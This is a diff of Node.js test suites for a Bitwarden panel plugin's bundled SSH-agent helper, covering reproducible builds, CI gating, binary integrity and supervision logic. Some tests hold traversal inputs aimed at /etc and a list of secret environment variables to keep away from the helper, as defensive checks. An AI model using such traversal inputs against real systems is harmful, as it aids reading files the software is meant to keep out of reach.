check("the workflow tells the script it is in the pinned environment",
/QSBW_PINNED_BUILD:\s*'1'/.test(workflow),
"CI runs in the pinned image but never says so")
check("a claim of being pinned is verified, not trusted",
/rust-toolchain\.toml[\s\S]{0,400}?fail /.test(script) && /debian[\s\S]{0,200}?bookworm/.test(script),
"the environment claim is taken on trust")
check("a container runtime is used to enter the image, not required to be in it",
/reexec_in_container/.test(script),
"no path re-executes the build inside the pinned image")
// Asked through --explain rather than by running it. Invoking
// --verify-reproducible here would pull a 700MB image and run two full
// release builds just to observe a decision -- which is what this file's
// header promises not to do, and what it was doing on any machine with a
// container runtime until CI pointed it out.
const explain = run("--explain")
eq("--explain reports without acting", explain.status, 0)
check("--explain names the environment it would build in",
/^environment: /m.test(explain.stdout), explain.stdout.slice(0, 200))
check("--explain is honest about an unpinned environment",
!/not pinned and no container runtime/.test(explain.stdout)
|| /would not be reproducible/.test(explain.stdout),
explain.stdout.slice(0, 200))
check("--explain pulls nothing and builds nothing",
explain.stdout.length < 500 && !/Compiling|Unable to find image/.test(explain.stdout + explain.stderr),
explain.stdout.slice(0, 200))
// The refusal text itself is checked in the source, so that asserting it
// costs no build anywhere.
check("the refusal explains itself rather than failing opaquely",
/not in the pinned build environment[\s\S]{0,300}?would not be reproducible/.test(script),
"the refusal message does not say why")
check("an unpinned build is possible but must be asked for",
/--allow-unpinned/.test(script) && /not reproducible/.test(script),
"no way to build without a container, or no warning that it is not the release artifact")
// The comparison is only meaningful from inside the pinned image: the tracked
// bytes were produced there, and it pins glibc and binutils as well as the
// compiler. Run against a host toolchain it reports drift that is not drift --
// which, for the mode that exists to be a PR gate, is the worst way to fail.
check("--compare-tracked enters the pinned image like every other build mode",
/compare_tracked\(\)[\s\S]{0,700}?in_pinned_environment[\s\S]{0,300}?reexec_in_container "\$runtime" --compare-tracked/.test(script),
"the drift check builds with whatever toolchain the host happens to have")
check("and refuses rather than guessing when it cannot enter one",
/compare_tracked\(\)[\s\S]{0,1100}?fail "not in the pinned build environment/.test(script),
"an unpinned comparison reports a mismatch it cannot stand behind")
check("--compare-tracked reports drift without writing to the repository",
/compare_tracked\(\)[\s\S]{0,1400}?mktemp -d/.test(script)
&& !/compare_tracked\(\)[\s\S]{0,1400}?install -m/.test(script),
"the drift check writes into the repository")
// Every mode must build the same way. They did not: the release build put its
// target directory outside the remapped source root while the comparison
// modes put it inside, so the bytes CI offered as the candidate differed from
// the bytes --verify-reproducible had just declared identical. Committing
// those would have made the first --compare-tracked fail, or passed by luck
// and shipped a binary nobody could reproduce.
check("every build mode goes through one builder",
(script.match(/build_clean_copy /g) || []).length >= 3,
"the modes do not share a build procedure, so they can diverge again")
check("the target directory lives inside the remapped source root",
/CARGO_TARGET_DIR="\$src\/target"/.test(script),
"a target directory outside the remap embeds an unremapped path in the binary")
check("no mode passes its own target directory",
!/build_into "[^"]*" "[^"]*"/.test(script),
"a per-mode target directory is how the two paths diverged before")
// The artifact paths and the flag name are what Task 18 and its verification
// step refer to. They were wrong once -- a flat bin/ and a --check flag the
// task list never mentions -- and the cost of that is only paid later, when
// the binary is committed and everything has to be moved.
check("the artifact is architecture-scoped",
/OUTPUT_ARCH="x86_64-linux"/.test(script) && /OUTPUT_DIR="\$REPO_ROOT\/bin\/\$OUTPUT_ARCH"/.test(script),
"a flat bin/ has to be restructured the day a second target appears")
check("checksums go to one SHA256SUMS, not a sidecar per binary",
/SUMS_FILE="\$REPO_ROOT\/bin\/SHA256SUMS"/.test(script),
"no bin/SHA256SUMS")
check("the checksum file is written relative to bin/ so sha256sum -c works there",
/cd "\$REPO_ROOT\/bin" && sha256sum "\$OUTPUT_ARCH\/\$OUTPUT_NAME"/.test(script),
"absolute or checkout-relative paths in SHA256SUMS would only verify here")
check("the usage text lists the flags that exist",
/--compare-tracked/.test(script.split("USAGE")[1] || "") && !/\[--check\]/.test(script),
"usage advertises a flag the script does not accept")
// -------------------------------------------------------------------------
// CI shape
// -------------------------------------------------------------------------
check("CI compares the tracked binary against a clean rebuild",
/--compare-tracked/.test(workflow),
"nothing verifies that the committed bytes are what this source builds")
check("the comparison is skipped only when no binary is tracked",
/if \[ ! -f bin\/x86_64-linux\/qs-bitwarden-ssh-agent \]/.test(workflow),
"the comparison could pass by absence rather than by matching")
// `./scripts/build-agent.sh` with no flags writes bin/ and bin/SHA256SUMS.
// Run the comparison after it and the tracked binary it reads back is the
// candidate that step just wrote -- so it compares a build with itself and
// passes whatever the committed bytes are. That is not hypothetical: it is
// what this workflow did until a stale binary sailed through a green run.
const compareAt = workflow.indexOf("name: Compare the tracked binary")
const candidateAt = workflow.indexOf("name: Build the candidate artifact")
check("the comparison runs before anything overwrites bin/",
compareAt > 0 && candidateAt > 0 && compareAt < candidateAt,
`compare step at ${compareAt}, candidate build at ${candidateAt}`)
// A drifted binary is when the candidate matters most, so the upload has to
// happen before the job gives up on the run.
check("a drifted binary still uploads the candidate that fixes it",
workflow.indexOf("name: Upload the candidate") < workflow.indexOf("name: Fail if the tracked binary drifted"),
"the job fails before the bytes a maintainer needs are available")
check("drift is still fatal on a same-repository run",
/steps\.compare\.outputs\.drift == 'yes'/.test(workflow)
&& /github\.event\.pull_request\.head\.repo\.fork != true/.test(workflow),
"recording drift replaced failing on it")
// These gates ran on neither the branch nor the files that needed them: the
// trigger still named the SSH agent's feature branch after that work reached
// master, and a paths filter of agent/** kept the panel -- Panel.qml,
// BitwardenModel.js, tests/ -- entirely outside the workflow. PR #13 merged
// with `no checks reported`.
//
// This used to require master on both triggers. It no longer does, and the
// guarantee it was protecting has not been given up -- it moved. Work reaches
// master only by merging a release branch, and master's protection requires
// that branch to be up to date first, so the tree master ends up with is the
// tree these gates already passed on the release branch at the commit they
// passed on. Re-running on the master push would check the same tree twice.
//
// So what has to be true is that the release branches really are gated, which
// the next check asserts, and that master is not silently left with nothing at
// all -- it gets publish-on-master.yml, asserted below. Master being absent
// from these triggers is deliberate and is pinned here so that reintroducing
// it is a decision rather than a reflex.
check("master is deliberately not gated here; the release branch it comes from is",
!/push:\s*\n\s*branches:\s*\[[^\]]*master/.test(workflow)
&& !/pull_request:\s*\n\s*branches:\s*\[[^\]]*master/.test(workflow),
"master is back in these triggers -- if that is intended, this check and the "
+ "trigger comment both need updating, because it means the same tree is checked twice")
// A release is assembled on a release branch before it is tagged, so the same
// gates have to cover it. Listing master alone let a PR into `release/1.7.0`
// merge with `no checks reported` -- PR #13's hole reached through the base
// branch instead of through a paths filter.
check("CI runs against release branches too, where a release is assembled",
/push:\s*\n\s*branches:\s*\[[^\]]*'release\/\*\*'/.test(workflow)
&& /pull_request:\s*\n\s*branches:\s*\[[^\]]*'release\/\*\*'/.test(workflow),
"the workflow does not run on release-branch pushes and PRs into them")
// Master is not unwatched, it just has exactly one job. A release is built,
// verified and attested on its release branch and left as a draft; reaching
// master is what publishes it. If that workflow ever starts building or
// testing, the reason master was taken off the gates above stops holding.
const publish = read(".github/workflows/publish-on-master.yml")
check("something does run on a master push, and it is the publish",
/push:\s*\n\s*branches:\s*\[master\]/.test(publish),
"nothing runs on master at all now")
check("the publish only publishes -- it does not build or test",
!/cargo (build|test|clippy)|npm |node |qmltestrunner|build-agent\.sh/.test(publish),
"the master workflow has grown work that belongs on the release branch")
check("the publish is the only thing granted write access",
/permissions:\s*\n\s*contents:\s*write/.test(publish)
&& /permissions:\s*\n\s*contents:\s*read/.test(workflow),
"write access is not where it was expected")
// Publishing from the tag announced a version before master contained it.
check("the tag build leaves the release as a draft for master to publish",
/gh release create "\$TAG"[^\n]*--draft/.test(read(".github/workflows/release.yml")),
"release.yml publishes at tag time again, so master's merge is no longer what releases")
check("no paths filter decides which changes are checked",
!/^\s*paths:/m.test(workflow),
"a paths filter is how the panel went unchecked; these gates are cheap enough to always run")
check("the workflow is read-only",
/permissions:\s*\n\s*contents:\s*read/.test(workflow), "the workflow requests more than read access")
// A tag is a moving pointer. Pinning actions by commit is the same argument
// as pinning the build image by digest, applied to the code that runs the
// build -- and a workflow that establishes trust in bytes should not itself
// depend on a mutable reference.
const actionUses = [...workflow.matchAll(/uses:\s*([^\s@]+)@(\S+)/g)]
check("every third-party action is used at least once", actionUses.length > 0, "no actions used")
check("every action is pinned to a full commit SHA",
actionUses.every(([, , ref]) => /^[0-9a-f]{40}$/.test(ref)),
actionUses.filter(([, , ref]) => !/^[0-9a-f]{40}$/.test(ref)).map(m => m[0]).join(", "))
check("each pin says which release it is, for a human",
(workflow.match(/@[0-9a-f]{40} # v\d/g) || []).length === actionUses.length,
"a bare SHA tells a reviewer nothing about what version it is")
// The dependency tree of a key-holding binary was reviewed once in writing;
// this is what stops that review going stale.
const deny = read("deny.toml")
check("CI enforces the dependency policy", /cargo deny/.test(workflow), "nothing runs cargo-deny")
// cargo-deny discovers its config beside the manifest or in the working
// directory. Running it from agent/ made it fall back to built-in defaults
// and report success while reading none of this policy.
check("the policy file is named explicitly rather than discovered",
/cargo deny[^\n]*--config deny\.toml/.test(workflow),
"a discovered config can silently be the wrong one, or none at all")
// apt answers a failed index with a warning and exit 0. That is how a 502
// from the archive passed `apt-get update` and came back four minutes later
// as `Unable to locate package` on six Qt packages -- the wrong error, in the
// wrong step, about the wrong thing. Error-Mode=any is what makes a mirror
// outage report itself as one.
check("a failed package index fails the step that fetched it",
/apt-get update[^\n]*APT::Update::Error-Mode=any/.test(workflow),
"apt warns and exits 0 on a failed index, so the real error surfaces later and misattributed")
check("apt packages are not pinned by version string",
!/apt-get install[^\n]*=[0-9]/.test(workflow),
"hard version pins break when Ubuntu drops the superseded package")
check("advisories are denied rather than warned about",
/yanked = "deny"/.test(deny), "yanked crates are tolerated")
check("the one accepted advisory says why and where it is argued",
/RUSTSEC-2023-0071[\s\S]{0,400}?0001-ssh-agent-dependencies/.test(deny),
"an ignored advisory with no recorded reasoning is just a silenced alarm")
check("only permissive licences are allowed",
/allow = \[[\s\S]*?"MIT"/.test(deny) && !/GPL/.test(deny.split("[bans]")[0]),
"a copyleft dependency would change this plugin's own distribution terms")
check("only crates.io is permitted as a source",
/unknown-git = "deny"/.test(deny) && /unknown-registry = "deny"/.test(deny),
"a git dependency is a moving target no lockfile review covers")
// The panel's JavaScript runs in QML's engine, not Node's, and they differ.
check("the QML tests run in CI",
/qmltestrunner/.test(workflow), "the QML suite passes locally and never runs in CI")
// --no-install-recommends drops what QtQuick only recommends, and
// QtQml.WorkerScript is one of them: importing QtQuick then fails with a
// module-not-installed error that reads like a broken test.
check("every QML module the tests import is installed explicitly",
/qml6-module-qtqml-workerscript/.test(workflow),
"QtQuick's recommended modules are dropped by --no-install-recommends")
// One QML test imports the Omarchy shell by absolute path, which a runner
// does not have. Skipping it is right; skipping it silently, or skipping
// everything and reporting success, is not.
check("a QML test is skipped only for a stated, detected reason",
/\[ ! -d \/usr\/share\/omarchy\/shell\/Ui \]/.test(workflow),
"the skip is unconditional rather than tied to the missing dependency")
check("the skipped files are named in the log",
/::notice::Omarchy shell not installed; skipped/.test(workflow),
"a silent skip looks identical to a passing test")
check("skipping every QML test fails the job",
/every QML test was skipped, so this gate proved nothing/.test(workflow),
"the gate could pass by running nothing at all")
// A fork cannot push CI's bytes into its own branch, so an unconditional
// match requirement would make every external agent-source PR unmergeable.
check("a fork pull request reports binary drift rather than blocking on it",
/IS_FORK/.test(workflow) && /fork/.test(workflow),
"a fork contributor could never satisfy the binary comparison")
check("a same-repository run still fails on drift",
/::error::the tracked binary does not match/.test(workflow),
"drift is never fatal, so the comparison decides nothing")
check("dependency updates are told the binary must be rebuilt",
/needs-binary-rebuild/.test(read(".github/dependabot.yml")),
"an accepted dependency bump would fail --compare-tracked with no explanation")
check("no secrets are referenced",
!/secrets\./.test(workflow), "a build gate should need no secrets")
check("the panel tests get the tools they shell out to",
/jq/.test(workflow) && /openssh-client/.test(workflow),
"the pipeline and signing tests would fail without jq and ssh-keygen")
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-artifact: ${pass} passed`)
@@ -0,0 +1,228 @@
#!/usr/bin/env node
// The plugin ships a compiled helper, so the panel checks it before trusting
// it: that it exists, is executable, is the right architecture, matches its
// recorded checksum, passes its own self-test, and speaks the protocol this
// panel does. Every one of those can fail on a real machine -- a partial
// clone, an LFS placeholder, a stale artifact after `git pull`, a helper from
// a newer plugin version -- and each must disable only this optional feature.
//
// Be clear about what the checksum is for. bin/SHA256SUMS sits beside the
// binary and beside the QML that reads it, so anyone able to replace one can
// replace the others. It is not tamper detection. It catches corruption,
// truncation, and staleness, which are the failures that actually happen.
//
// node tests/ssh-agent-bundle.test.js
const fs = require("fs")
const os = require("os")
const path = require("path")
const { spawnSync } = require("child_process")
const repoRoot = path.join(__dirname, "..")
const Model = {}
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.sshAgentBundledRelative = sshAgentBundledRelative
exports.sshAgentDevelopmentRelative = sshAgentDevelopmentRelative
exports.sshAgentHelperCandidates = sshAgentHelperCandidates
exports.sshAgentHelperInspectCommand = sshAgentHelperInspectCommand
exports.parseSshAgentHelperInspection = parseSshAgentHelperInspection
exports.sshAgentHelperReady = sshAgentHelperReady
exports.sshAgentHelperSourceLabel = sshAgentHelperSourceLabel
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
// -------------------------------------------------------------------------
// The shipped artifact is really in the repository
// -------------------------------------------------------------------------
const bundled = path.join(repoRoot, "bin", "x86_64-linux", "qs-bitwarden-ssh-agent")
const sums = path.join(repoRoot, "bin", "SHA256SUMS")
check("the helper is tracked in the repository", fs.existsSync(bundled), bundled)
check("its checksum is tracked beside it", fs.existsSync(sums), sums)
check("it is executable", fs.existsSync(bundled) && (fs.statSync(bundled).mode & 0o111) !== 0,
"the shipped helper is not executable, so a fresh clone cannot run it")
check("it is not a Git LFS placeholder",
fs.existsSync(bundled) && !/git-lfs/.test(fs.readFileSync(bundled).subarray(0, 200).toString("latin1")),
"an LFS smudge would leave a text pointer where the binary should be")
check("it is a real ELF binary",
fs.existsSync(bundled) && fs.readFileSync(bundled).subarray(0, 4).toString("latin1") === "\x7fELF",
"no ELF magic")
const recorded = fs.existsSync(sums) ? fs.readFileSync(sums, "utf8").trim() : ""
check("the checksum file records a path relative to bin/",
/^[0-9a-f]{64}\s+x86_64-linux\/qs-bitwarden-ssh-agent$/.test(recorded),
recorded)
if (fs.existsSync(bundled) && recorded) {
const actual = spawnSync("sha256sum", [bundled], { encoding: "utf8" }).stdout.split(" ")[0]
eq("the tracked binary matches its tracked checksum", actual, recorded.split(/\s+/)[0])
}
// -------------------------------------------------------------------------
// Which helper the panel picks
// -------------------------------------------------------------------------
eq("the bundled path is architecture-scoped",
Model.sshAgentBundledRelative(), "bin/x86_64-linux/qs-bitwarden-ssh-agent")
eq("the development path is cargo's debug output",
Model.sshAgentDevelopmentRelative(), "agent/target/debug/qs-bitwarden-ssh-agent")
const candidates = Model.sshAgentHelperCandidates("/opt/bw")
eq("both candidates are offered", candidates.length, 2)
eq("the shipped helper is preferred", candidates[0].path, "/opt/bw/bin/x86_64-linux/qs-bitwarden-ssh-agent")
eq("the development build is the fallback", candidates[1].path, "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent")
eq("the preferred one is labelled", candidates[0].source, "bundled")
eq("the fallback is labelled", candidates[1].source, "development")
check("every candidate path is absolute",
candidates.every(c => c.path.charAt(0) === "/"), JSON.stringify(candidates))
eq("no plugin directory yields no candidates", Model.sshAgentHelperCandidates("").length, 0)
eq("a traversing plugin directory yields no candidates",
Model.sshAgentHelperCandidates("/opt/../etc").length, 0)
// A development build being present must not hide a broken shipped one from
// the diagnostics, but it should still let the panel run.
check("the source in use is nameable",
Model.sshAgentHelperSourceLabel("bundled").length > 0
&& Model.sshAgentHelperSourceLabel("development").length > 0,
"a user cannot tell which helper is running")
check("the development label says it is not the shipped artifact",
/develop|local|built/i.test(Model.sshAgentHelperSourceLabel("development")),
Model.sshAgentHelperSourceLabel("development"))
// -------------------------------------------------------------------------
// The inspection, run against real files
// -------------------------------------------------------------------------
function inTemp(fn) {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-bundle-"))
try { return fn(dir) } finally { fs.rmSync(dir, { recursive: true, force: true }) }
}
const inspect = (pluginDir) => {
const cmd = Model.sshAgentHelperInspectCommand(pluginDir)
const run = spawnSync(cmd[0], cmd.slice(1), { encoding: "utf8", env: { PATH: "/usr/bin:/bin" } })
return Model.parseSshAgentHelperInspection(run.stdout)
}
// The real repository: a tracked helper that should pass every check.
{
const result = inspect(repoRoot)
eq("the shipped helper is usable", result.state, "ok")
eq("and is identified as the bundled one", result.source, "bundled")
check("its version is reported", /^\d+\.\d+\.\d+$/.test(result.version), result.version)
eq("its protocol version is reported", result.protocol, 1)
eq("its checksum is confirmed", result.checksum, "match")
eq("its self-test passed", result.selfTest, "pass")
eq("the panel would enable the feature", Model.sshAgentHelperReady(result), true)
}
// Nothing there at all.
inTemp(dir => {
const result = inspect(dir)
eq("a missing helper is reported", result.state, "missing")
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
check("the message says what to do", /build|install|clone/i.test(result.message), result.message)
})
// Present but not executable -- a clone from an archive that dropped modes.
inTemp(dir => {
const target = path.join(dir, "bin", "x86_64-linux")
fs.mkdirSync(target, { recursive: true })
fs.copyFileSync(bundled, path.join(target, "qs-bitwarden-ssh-agent"))
fs.chmodSync(path.join(target, "qs-bitwarden-ssh-agent"), 0o644)
fs.mkdirSync(path.join(dir, "bin"), { recursive: true })
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
const result = inspect(dir)
eq("a non-executable helper is reported", result.state, "not-executable")
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
})
// Corrupt or truncated -- a partial clone, or an interrupted download.
inTemp(dir => {
const target = path.join(dir, "bin", "x86_64-linux")
fs.mkdirSync(target, { recursive: true })
const copy = path.join(target, "qs-bitwarden-ssh-agent")
fs.copyFileSync(bundled, copy)
fs.truncateSync(copy, 4096)
fs.chmodSync(copy, 0o755)
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
const result = inspect(dir)
check("a truncated helper is refused", result.state !== "ok", JSON.stringify(result))
eq("the checksum is what catches it", result.checksum, "mismatch")
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
check("the message names staleness or corruption",
/stale|corrupt|match|update/i.test(result.message), result.message)
})
// A Git LFS placeholder where the binary should be.
inTemp(dir => {
const target = path.join(dir, "bin", "x86_64-linux")
fs.mkdirSync(target, { recursive: true })
fs.writeFileSync(path.join(target, "qs-bitwarden-ssh-agent"),
"version https://git-lfs.github.com/spec/v1\noid sha256:deadbeef\nsize 1210560\n", { mode: 0o755 })
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
const result = inspect(dir)
check("an LFS placeholder is refused", result.state !== "ok", JSON.stringify(result))
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
})
// A development build with no shipped artifact: the dev loop must keep working.
inTemp(dir => {
const target = path.join(dir, "agent", "target", "debug")
fs.mkdirSync(target, { recursive: true })
fs.copyFileSync(bundled, path.join(target, "qs-bitwarden-ssh-agent"))
fs.chmodSync(path.join(target, "qs-bitwarden-ssh-agent"), 0o755)
const result = inspect(dir)
eq("a development build is usable", result.state, "ok")
eq("and is identified as such", result.source, "development")
eq("the feature is enabled from it", Model.sshAgentHelperReady(result), true)
check("no checksum is claimed for an untracked build",
result.checksum === "unchecked", result.checksum)
})
// Both present: the shipped artifact wins, but a broken one does not strand
// a developer who has a working local build.
inTemp(dir => {
const shipped = path.join(dir, "bin", "x86_64-linux")
fs.mkdirSync(shipped, { recursive: true })
fs.writeFileSync(path.join(shipped, "qs-bitwarden-ssh-agent"), "not a binary\n", { mode: 0o755 })
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
const dev = path.join(dir, "agent", "target", "debug")
fs.mkdirSync(dev, { recursive: true })
fs.copyFileSync(bundled, path.join(dev, "qs-bitwarden-ssh-agent"))
fs.chmodSync(path.join(dev, "qs-bitwarden-ssh-agent"), 0o755)
const result = inspect(dir)
eq("a broken shipped helper falls back to the development build", result.state, "ok")
eq("and says which one it used", result.source, "development")
})
// -------------------------------------------------------------------------
// Failure isolation
// -------------------------------------------------------------------------
// The settings diagnostics live in SshAgentSettings.qml; the supervision that
// feeds them is still in Panel.qml. Both, or a check lands on whichever half
// happens to hold its pattern today.
const panelSrc = ["Panel.qml", "SshAgentSettings.qml"]
.map(file => fs.readFileSync(path.join(repoRoot, file), "utf8"))
.join("\n")
check("the helper is inspected before the supervisor is allowed to start",
/sshAgentHelperReady\(/.test(panelSrc), "nothing gates startup on the inspection")
check("a failed inspection disables only the agent",
/sshAgentSupervisable[\s\S]{0,400}?sshAgentHelperReady|sshAgentHelperReady[\s\S]{0,400}?sshAgentSupervisable/.test(panelSrc),
"the inspection result does not feed the supervisable gate")
check("the source in use is shown in the settings diagnostics",
/sshAgentHelperSourceLabel\(/.test(panelSrc),
"a user cannot tell whether they are running the shipped or the local helper")
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-bundle: ${pass} passed`)
@@ -0,0 +1,539 @@
#!/usr/bin/env node
// The panel supervises the SSH companion; it never waits on it. These tests
// cover the pure supervision logic (path resolution, the minimal environment,
// the bounded NDJSON reader, and the restart state machine) and then drive
// that logic with real child processes -- a fake helper and, when it has been
// built, the real one -- so the handshake is proven across the process
// boundary rather than against a mock.
//
// node tests/ssh-agent-control.test.js
const fs = require("fs")
const os = require("os")
const path = require("path")
const { spawn } = require("child_process")
const repoRoot = path.join(__dirname, "..")
const Model = {}
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.pluginDirFromUrl = pluginDirFromUrl
exports.sshAgentHelperPath = sshAgentHelperPath
exports.sshAgentHelperCommand = sshAgentHelperCommand
exports.sshAgentHelperEnv = sshAgentHelperEnv
exports.sshAgentHelloLine = sshAgentHelloLine
exports.sshAgentShutdownLine = sshAgentShutdownLine
exports.parseAgentEvent = parseAgentEvent
exports.sshAgentRestartDelayMs = sshAgentRestartDelayMs
exports.sshAgentInitialState = sshAgentInitialState
exports.sshAgentReduce = sshAgentReduce
exports.sshAgentMaxRestarts = sshAgentMaxRestarts
exports.sshAgentHandshakeTimeoutMs = sshAgentHandshakeTimeoutMs
exports.sshAgentMaxLineBytes = sshAgentMaxLineBytes
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
// -------------------------------------------------------------------------
// Absolute, plugin-relative helper path
// -------------------------------------------------------------------------
eq("plugin dir from a file URL",
Model.pluginDirFromUrl("file:///home/u/.config/omarchy/plugins/bw/"),
"/home/u/.config/omarchy/plugins/bw")
eq("plugin dir keeps a percent-encoded segment",
Model.pluginDirFromUrl("file:///home/u/my%20plugins/bw/"), "/home/u/my plugins/bw")
eq("plugin dir accepts a bare absolute path", Model.pluginDirFromUrl("/opt/bw/"), "/opt/bw")
eq("plugin dir refuses a relative URL", Model.pluginDirFromUrl("plugins/bw"), "")
eq("plugin dir refuses a non-file scheme", Model.pluginDirFromUrl("qrc:/bw/"), "")
eq("plugin dir refuses traversal", Model.pluginDirFromUrl("file:///opt/bw/../../etc/"), "")
eq("plugin dir refuses an encoded traversal", Model.pluginDirFromUrl("file:///opt/bw/%2e%2e/etc/"), "")
eq("plugin dir refuses an empty url", Model.pluginDirFromUrl(""), "")
eq("plugin dir refuses a non-string", Model.pluginDirFromUrl(null), "")
eq("helper path is plugin-relative and absolute",
Model.sshAgentHelperPath("/opt/bw"), "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent")
eq("helper path refuses a relative plugin dir", Model.sshAgentHelperPath("opt/bw"), "")
eq("helper path refuses an empty plugin dir", Model.sshAgentHelperPath(""), "")
// The source is chosen by the bundle inspection (see ssh-agent-bundle.test.js),
// and the command follows it rather than guessing. Launching an unvetted
// binary would defeat the point of inspecting one.
const helperCmd = Model.sshAgentHelperCommand("/opt/bw", "development")
eq("helper runs directly with no shell and no arguments", helperCmd.length, 1)
eq("helper command is the absolute helper path", helperCmd[0],
"/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent")
eq("the shipped helper is launched when that is what was accepted",
Model.sshAgentHelperCommand("/opt/bw", "bundled")[0],
"/opt/bw/bin/x86_64-linux/qs-bitwarden-ssh-agent")
eq("no accepted source launches nothing", Model.sshAgentHelperCommand("/opt/bw", "").length, 0)
eq("an unknown source launches nothing", Model.sshAgentHelperCommand("/opt/bw", "elsewhere").length, 0)
check("helper command never goes through a shell",
!helperCmd.some(a => /^(?:ba)?sh$/.test(path.basename(String(a)))), JSON.stringify(helperCmd))
eq("helper command is empty without a plugin dir", Model.sshAgentHelperCommand("", "bundled").length, 0)
// -------------------------------------------------------------------------
// Minimal environment
// -------------------------------------------------------------------------
const env = Model.sshAgentHelperEnv("/run/user/1000")
eq("helper environment carries only XDG_RUNTIME_DIR", Object.keys(env).sort().join(","), "XDG_RUNTIME_DIR")
eq("helper environment points at the runtime dir", env.XDG_RUNTIME_DIR, "/run/user/1000")
for (const banned of ["PATH", "HOME", "BW_SESSION", "BW_PASSWORD", "QSBW_SECRET", "SSH_AUTH_SOCK"]) {
check("helper environment omits " + banned, !(banned in env), JSON.stringify(env))
}
eq("helper environment refuses a relative runtime dir", Model.sshAgentHelperEnv("run/user/1000"), null)
eq("helper environment refuses an empty runtime dir", Model.sshAgentHelperEnv(""), null)
// -------------------------------------------------------------------------
// Bounded NDJSON reader
// -------------------------------------------------------------------------
eq("hello is the versioned v1 handshake", Model.sshAgentHelloLine(), '{"v":1,"type":"hello"}\n')
eq("shutdown is a versioned v1 line", Model.sshAgentShutdownLine(), '{"v":1,"type":"shutdown"}\n')
const ready = Model.parseAgentEvent(JSON.stringify({
v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock",
fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0"
}))
eq("ready parses", ready.ok, true)
eq("ready keeps its socket path", ready.message.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
eq("ready keeps its agent version", ready.message.agentVersion, "0.1.0")
eq("an empty line is ignored rather than fatal", Model.parseAgentEvent("").code, "EMPTY")
check("an empty line does not fail closed", Model.parseAgentEvent("").fatal === false,
JSON.stringify(Model.parseAgentEvent("")))
eq("malformed JSON fails closed", Model.parseAgentEvent("{not json").code, "MALFORMED")
check("malformed JSON is fatal", Model.parseAgentEvent("{not json").fatal === true, "not fatal")
eq("a wrong version fails closed", Model.parseAgentEvent('{"v":2,"type":"ready"}').code, "VERSION_MISMATCH")
eq("a missing version fails closed", Model.parseAgentEvent('{"type":"ready"}').code, "VERSION_MISMATCH")
eq("an unknown type fails closed", Model.parseAgentEvent('{"v":1,"type":"exec"}').code, "UNKNOWN_TYPE")
eq("a non-object line fails closed", Model.parseAgentEvent('"ready"').code, "MALFORMED")
eq("a ready missing its socket path fails closed",
Model.parseAgentEvent('{"v":1,"type":"ready","fifoPath":"/f","agentVersion":"1"}').code, "MALFORMED")
const overlong = '{"v":1,"type":"error","message":"' + "x".repeat(Model.sshAgentMaxLineBytes()) + '"}'
eq("an overlong line fails closed before parsing", Model.parseAgentEvent(overlong).code, "LINE_TOO_LONG")
const multibyte = '{"v":1,"type":"error","message":"' + "é".repeat(Model.sshAgentMaxLineBytes() - 100) + '"}'
eq("the line cap counts bytes, not characters", Model.parseAgentEvent(multibyte).code, "LINE_TOO_LONG")
const justUnder = JSON.stringify({ v: 1, type: "error", code: "X", message: "y".repeat(1024), recoverable: true })
eq("a line under the cap still parses", Model.parseAgentEvent(justUnder).ok, true)
// -------------------------------------------------------------------------
// Supervision state machine
// -------------------------------------------------------------------------
const readyLine = JSON.stringify({
v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock",
fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0"
})
function drive(state, events) {
const actions = []
for (const ev of events) {
const step = Model.sshAgentReduce(state, ev)
state = step.state
actions.push(step.action)
}
return { state, actions, last: actions[actions.length - 1] }
}
function reachReady(t) {
return drive(Model.sshAgentInitialState(), [
{ kind: "enabled", value: true, nowMs: t },
{ kind: "started", nowMs: t + 1 },
{ kind: "line", line: readyLine, nowMs: t + 2 }
])
}
const initial = Model.sshAgentInitialState()
eq("the supervisor starts disabled", initial.phase, "disabled")
check("the signing gate starts closed", initial.gateOpen === false, JSON.stringify(initial))
const inert = drive(Model.sshAgentInitialState(), [
{ kind: "started", nowMs: 0 },
{ kind: "line", line: readyLine, nowMs: 1 },
{ kind: "exited", exitCode: 1, nowMs: 2 },
{ kind: "restartTimer", nowMs: 3 }
])
eq("disabled mode stays disabled", inert.state.phase, "disabled")
check("disabled mode starts nothing", inert.actions.every(a => !a.start && !a.writeHello),
JSON.stringify(inert.actions))
check("disabled mode never opens the gate", inert.state.gateOpen === false, JSON.stringify(inert.state))
